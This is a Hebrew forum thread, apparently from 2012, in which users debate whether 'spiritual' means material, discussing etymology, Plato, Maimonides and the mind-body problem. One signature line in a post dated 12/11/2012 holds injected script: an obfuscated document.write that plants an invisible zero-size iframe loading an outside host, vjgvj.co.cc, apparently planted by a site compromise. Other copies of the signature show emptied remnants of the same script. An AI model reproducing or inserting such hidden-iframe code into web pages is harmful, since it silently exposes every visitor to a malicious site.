בית פורומים עצור כאן חושבים

רוחני משמעו גשמי

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-8/11/2012 01:45 לינק ישיר 
רוחני משמעו גשמי

הייתי רוצה למצוא כאן אולי מעוניינים לבקר וללבן את הטענה כי רוחני הוא גשמי.
נראה כי ישנה טעות בסיסית אשר גורמת להשתבשות כל ההשקפה הנשענת על מושג "רוחני" כקיום לא גשמי.
הזכרתי כבר את הסוגיה באשכולות,
"החלקיק האלוהי" ורוחניות ,
האם האמונה באלוקים היא רציונאלית? - תגובה למאמריו של מיכאל אברהם
אבל שווה להתמקד בנקודה הבסיסית הזאת.
רוחני משמעו משתנה, נע. והדבר המשתנה הוא גשמי בהגדרה, כי תנועה ניתנת להבחנה ונבחנת בחושים.
ואז השאלה הבסיסית איך להבין מה זה בלתי גשמי?
איני רואה דרך להבנה הזאת מלבד חוקיות, יחס, צורת העולם.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דווח על תוכן פוגעני

מנותק
נשלח ב-8/11/2012 08:39 לינק ישיר 

כתבת ש'רוחני' משמעותו משתנה, או נע. התפיסה (אני נזהר מלומר הגדרה, כי איני בטוח שיש כזו) המקובלת היא שונה לגמרי. כמובן אפשר להגדיר מילון מוסכם לצורך הדיון, אבל אם אתה מניח את ההגדרה הזאת אז הדיון הוא לגמרי שונה. ובכלל, שינוי של דבר אינו דבר. מהירות של גוף (=שינוי מקום) אינה יש, לא גשמי ולא רוחני. זוהי תכונה, כמו צבע, קשיחות, או טוב לב.
כדי להבהיר את הדיון, אני מציע שתיתן כמה דוגמאות של דברים שאתה קורא להם 'רוחניים'. למשל, האם להגדרתך תחושת כאב היא רוחנית? האם שנאה/אהבה היא רוחנית? האם מחשבה, רצייה, הם רוחניים? האם תנועה של גוף (=שינוי מקומו) היא רוחנית? אחרי שנסכים על רשימה של פריטים, ורק אז, ניתן לנסות ולהגדיר/לאפיין אותה. כל עוד אין הסכמה על מה כולל המושג  (=הגדרה אקסטנסיונלית, דרך ההיקף) זה יהיה ויכוח על סמנטיקה, או ערכים מילוניים. ובמינוח לוגי: רק לאחר שיש אקסטנסיה (הגדרה דרך ההיקף של המושג רוחני, כלומר רשימת הדברים שאתה קורא להם רוחניים), ניתן יהיה לדון על האינטנסיה (התוכן המהותי והמשמעות של המושג שבא לידי ביטוי באוסף הפריטים הזה).



דדווח על תוכן פוגעני

מנותק
נשלח ב-8/11/2012 15:13 לינק ישיר 

רוחני היא טענה שיש משהו מחוץ ליש\גשמי,

(כאב ואהבה וכדומה הם שקרים של הטבע, הם אמצעים לשרידות ותו לא)



דדווח על תוכן פוגעני

מנותק
נשלח ב-10/11/2012 22:56 לינק ישיר 

mdabraham כתב:
 למשל, האם להגדרתך תחושת כאב היא רוחנית? האם שנאה/אהבה היא רוחנית? האם מחשבה, רצייה, הם רוחניים? האם תנועה של גוף (=שינוי מקומו) היא רוחנית? 

כן הייתי רוצה לדון על הגדרות מקובלות.
מושג "רוחני" מדבר על תהליכים נפשיים, תהליכי מחשבה. כלומר, את המחשבה מייחסים לרוחני. את כאבי הגוף, תנועתו, כנראה לא מייחסים לרוחני, אלא כאבים "נפשיים" כמו "כאב אהבה", וכדומה, אכן מייחסים. רצון לאכול כנראה לא מייחסים, ואילו צמאה נפשי כן. כלומר תהליכים אשר לא נראים לעין כמו רוח האוויר, אבל מורגשים כמו מורגשת הרוח.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-11/11/2012 20:46 לינק ישיר 

בימי קדם היתה השקפה על הנפש כעשויה מחומר מיוחד, חומר דק מן הדק. וזאת במנוגד לחומר הרגיל, הגס. החומר הרוחני, הדק, משפיע על החומר הגס, לא בדרך של דחיפה, אלא בכך שהוא חודר אותו וממלא אותו. המילה ״רוח״ מזכירה את ההשקפה הזו, שכן גם הרוח (הפיסית) היא ישות חומרית אבל אחרת, עדינה, חודרנית.

אפלטון נחשב לאבי ההשקפה שהנפש איננה חומרית כלל, אפילו לא מאותו חומר עדין ודק. בהתאם להשקפה זו המילה ״רוחני״ קיבלה מובן נוסף, אשר משתמע ממנו שדבר רוחני איננו דבר חומרי כלל.

בשפה היומיומית המילה ״רוחני״ מבטאת, נדמה לי, מידתיות. אדם ״רוחני״ נקרא אדם שממעט, יחסית, מעורבות בחומר: שממעט באוכל ובהנאות הגוף. שממעט בעסקים, במסחר או בעבודה גופנית. ושמרבה פעילות בעניינים אינטלקטואליים ואידיאולוגיים.



דדווח על תוכן פוגעני

מנותק
נשלח ב-11/11/2012 23:11 לינק ישיר 

ינוח

אני מצטרף לדברי קודמי. ואיקונים ירוקים לכולם, ממיכי ועד אחרון המגיבים.

יש לי חשבון ארוך עם המונח הזה, "רוחני". חוששני שאנו מאד לא נזהרים בו כשאנו משתמשים בו. ראוי מאד לדון במונח עוד לפני שדנים בשאלה. אחרת אני חש שאיני יודע על מה אני מדבר!

צריך לכן לדעתי:

לתת דוגמאות לשימושי מילים ולאפיין משמעויות. אני סבור שיש שונות.

לסקור את ההיסטוריה של המונח, כפי שהחל גם רם.

ולאחר שיש בידנו שימוש זהיר ומובחן, גם למילה "רוחני" וגם לבת הזוג המנוגדת שלה "גשמי", אפשר להתחיל לדון במשפט שכתבת. עד אז, הוא עושה רושם סביר, אבל אני חושד בעצמי שאיני מבין על מה אני מדבר.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2012 22:00 לינק ישיר 

תודה, רם, על הסיקור, הסכמתי עם דבריך.
גם מסיקורך נובע כי רוחני הוא במקור חומרי, גשמי.
להשוואה, את השדה האלקטרומגנטי אפשר לכנות "דק, חודרני", ועם זה הוא כן גשמי.

הנפש במובן כאינו גשמי, הוא שונה עקרונית ממושג "רוח". הנפש גם אטימולוגית מדבר על מנוחה, בלתי נע, לעומת "רוח", אשר כולה תנועה, ובכך משתנה, ובכך גשמית.
וכאן נוצר בלבול עקרוני, כאשר ל"רוחני", בעל תנועה, מייחסים קיום לא גשמי.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2012 22:02 לינק ישיר 

מיימוני כתב:
לתת דוגמאות לשימושי מילים ולאפיין משמעויות.

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");


הבאתי דוגמאות על בסיס השאלות מאת mdabraham , האם היית יכול להתייחס אליהן?
מחשבה היא הדוגמה הבולטת כנראה כדוגמה לרוחני במובן המקובל.

גשמי הוא מה שניתן לקליטת החושים ישירות או בעקיפין.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-13/11/2012 00:17 לינק ישיר 

ינוח

תודה.

לא הבנתי קודם את מה שכתבת ועכשו כן.

אנסה לתרגם זאת למילים שלי.

יש אבחנה ידועה בפילוסופיה (ואולי לא רק שם) בין המנטלי לבין הפיזיקלי.

לייבוביץ תיאר אותה היטב היטב בקונטרס שלו על הבעיה הפסיכופיזית (מומלץ מאד).

יש גם ספרים אחרים בנושא, מהם אחד בעברית על פתרונות פילוסופיים לשאלה הפסיכופיזית, כלומר איך יכול להתבאר הקשר בין הנפש לגוף, עם סיכום של שיטות מפורסמות. (שם הספר נשכח ממני ואחפשנו ואצייננו).

אני מבין שהחילוק שלך מקביל לחילוק הזה.

זה אכן חילוק נוח ומתבקש.

אז עכשו אני יכול לומר שאת הרישא של דבריך, שיש בעולם שלנו גשמי ורוחני, אני יכול להבין. אמנם אני מבקש להוסיף הערת הזהרה, שיתכן שמונחים אלו משמשים גם באופן אחר, ולכן צריך להיזהר לא לקחת את השימושים הלשוניים הנוספים ולהביאם הנה בלי התראה.

עתה אני יכול לעבור לחלק השני בדבריך.

שאלת אם הבנתי שתי שאלות.

א. איך הרוחני משתנה אם רק הגשמי משתנה.

כמדומה שהתשובה היא שגם ברוחני יש שינוי, אבל לא מאותו סוג. שם השינוי והתנועה הוא משותף.

 עוד שאלת:

ב. איך להבין מה זה בלתי גשמי?

ואני לא הבנתי מה זה "להבין". יש לא גשמי. אנחנו. כל אחד מאיתנו שמכיר את עצמו כיש חושב ומרגיש. זו מציאות. מהו "להבין מציאות"? מציאות מכירים. לא ברור לי שימוש הלשון שלך, והוא מזכיר לי את השאלות העתיקות "מהו" דבר פלוני, כאשר התשובה היא שהוא הוא, וכל מה שמסור לנו כבני אדם ואמפיריציסטים הוא לברר מה המאפיינים של כל דבר.

עוד כתבת:

איני רואה דרך להבנה הזאת מלבד חוקיות, יחס, צורת העולם.

את המונחים "חוקיות" ו"יחס" אני מכיר ואכן הם יעילים מאד להרחבת הכרותינו. איני יודע מהי "צורת העולם" בלשונך. אולי תרצה לבאר עוד.



_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-13/11/2012 14:50 לינק ישיר 

"הנפש במובן כאינו גשמי, הוא שונה עקרונית ממושג "רוח". הנפש גם אטימולוגית מדבר על מנוחה, בלתי נע, לעומת "רוח", אשר כולה תנועה, ובכך משתנה, ובכך גשמית. וכאן נוצר בלבול עקרוני, כאשר ל"רוחני", בעל תנועה, מייחסים קיום לא גשמי."

במקור המילים "רוח" ו"גשם" אנו חשים באפן ברור את ההבדל.
את הגשם אפשר להכניס למיכל  ולמדוד את כמותו,כאשר נרטבים ממנו צריך מגבת כדי להתיבש וכדומה.

לעומת זאת את הרוח לא ניתן להכניס לתוך מיכל והיא אינה  משאירה שום דבר ממשי על בגדיך וכדומה. 

ולכן הרוח אינה גשמית על אף שהיא נעה.

בהשאלה אדם רוחני הוא אדם שמתעסק בעניינים שקשורים במחשבה שהיא רוחנית כי בדומה לרוח היא איננה ניתנת לכימות בתוך מיכל וכדומה.
ואדם המתעסק בגשמיות הוא אדם שעיסוקו הוא בדברים הניתנים למדידה ולכימות כגון רפתן שעיסוקו הוא עם פרות וכבשים או חנווני.שעיסוקו במאכלים וכו'
ואין כאן שום בלבול עקרוני.


תוקן על ידי אפריםבן ב- 13/11/2012 14:52:58




דדווח על תוכן פוגעני

מחובר
נשלח ב-13/11/2012 19:23 לינק ישיר 

אפרים

תודה.

כמדומה שהמשל לא מדוייק.

אמנם הצבעת על נקודה חשובה: הגשמי בהסתכלותנו המדעית נחקר ודרך מחקר היא לכמת. כלומר למדוד, לתת ערכים מספריים, לחלק ולהכפיל.

אבל זה נעשה גם לתחומים שנרצה לשייך, לפחות לפי החלוקה הפסיכופיזית (של לייבוביץ בין השאר), לרוח.

הרי יש לנו מבחני אינטליגנציה, ומיספור של מיומנויות.

ועוד לגבי הרוח הגשמית הנושבת, האם אין היא בת מדידה? נכון שהמונח "רוחני" לקוח מן המונח "רוח" ובאמת הרוח לא היתה נראית, ואיני יודע מה חשבו עליה בעולם העתיק, אבל זו ודאי תופעה פיזיקלית בלבד.



דדווח על תוכן פוגעני

מנותק
נשלח ב-13/11/2012 20:16 לינק ישיר 

כשכתבתי לכמת הכוונה שלי היתה בתוך מיכל שבו ניתן לגעת בחומר ואז לכמת אותו.

לגבי מבחני אינטלגנציה-אי אפשר לשים את האינטלגנציה בתוך מיכל ואז למדוד אותה אלא מודדים אינטלגנציה בדרך עקיפה-על ידי מבחנים הכוללים שאלות ותשובות אבל את האינטלגנציה עצמה לא ניתן להכניס לכלי מדידה ולכמת.
ולגבי הרוח- כשהרוח נעה אתה יכל למדוד את מהירותה אבל לא אותה עצמה היא לא מותירה בבגדיך ובידיך שום דבר ממשי  שתוכל לגעת בו או למדוד אותו.





דדווח על תוכן פוגעני

מחובר
נשלח ב-14/11/2012 07:00 לינק ישיר 

אגלה לך משהו.

כל אלוהים אשר יתברא בנפש האדם,יועמד למשפט,בהוויה.

מה ברצוני לומר
כל אלוהים אשר ידמה האדם בליבו,בכל צורה וכל דרך,יועמד בנפשו של האדם למשפט,בהוויה.

את האלוהים ,באמת,שום עין אינה יכולה לראות ואוזן לא תשמע.

אתה יכול להתנחם בכך שיש לך את  אלוהי החמולות,לעומת הנביאים שאלוההם פרטי.






דדווח על תוכן פוגעני

מחובר
נשלח ב-14/11/2012 08:27 לינק ישיר 

סתם...    




דדווח על תוכן פוגעני

מחובר
נשלח ב-14/11/2012 20:55 לינק ישיר 

מיימוני כתב:
א. איך הרוחני משתנה אם רק הגשמי משתנה.

כמדומה שהתשובה היא שגם ברוחני יש שינוי, אבל לא מאותו סוג. שם השינוי והתנועה הוא משותף.


קודם כל, הרוחני, אם ניקח דוגמאות מקובלות לרוחני, רואים כי הרוחני הזה הוא גשמי. למשל, מחשבה היא תהליך פיזיקלי, במערכת העצבים במוח. ובזה יש הקבלה לתהליך הדומה ב"מוח" המחשב אשר הוא פיזיקלי כמובן.
שינוי מכל סוג שהוא אם הוא קיים, אז ידוע על קיומו על ידי חושים אשר קולטים את השינוי ישירות או בעקיפין, ובכך הוכחה כי בעל שינוי הוא גשמי.
ליישב את הנאמר אפשר אם תביא כל דוגמה לרוחני שהיא מקובלת. כדאי רק להסתמך לא על מילות קריאה, אלא על מילות מדע, ואני שמח כי זה אופייני בדיונך.

***כל אחד מאיתנו שמכיר את עצמו כיש חושב ומרגיש. זו מציאות.***
אבל הרי הרגשה וחשיבה הן תהליכים פיזיקליים, במערכת העצבים, כלומר גשמיים.
אפשר להרגיש כאב ביד, ואפשר להרגיש אי שביעות רצון, זה גם פיזיקלי. אפשר לדמות במוח כמו ב"מחשב חי" את תמונת המציאות, הרי גם זה פיזיקלי.

***איני יודע מהי "צורת העולם" בלשונך. אולי תרצה לבאר עוד.***
את הביטוי הזה פגשתי אצל הרמב"ם בהסבר הפילוסופי שלו.
לדעתי, נכון להבין את הביטוי הזה כביטוי לחוקיות העולם.
אם כי דיון על הביטוי "צורת העולם" הוא כנראה אינו מרכזי באשכול הזה.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-14/11/2012 21:01 לינק ישיר 

אפריםבן כתב:

ולגבי הרוח- כשהרוח נעה אתה יכל למדוד את מהירותה אבל לא אותה עצמה היא לא מותירה בבגדיך ובידיך שום דבר ממשי  שתוכל לגעת בו או למדוד אותו.


לא רק מותירה קריעות בבגד, אלא יכולה גם להעיף אותו כלל, יחד עם בעל הבגד, לכול הרוחות.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > רוחני משמעו גשמי
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 4 5 לדף הבא סך הכל 5 דפים.

bholext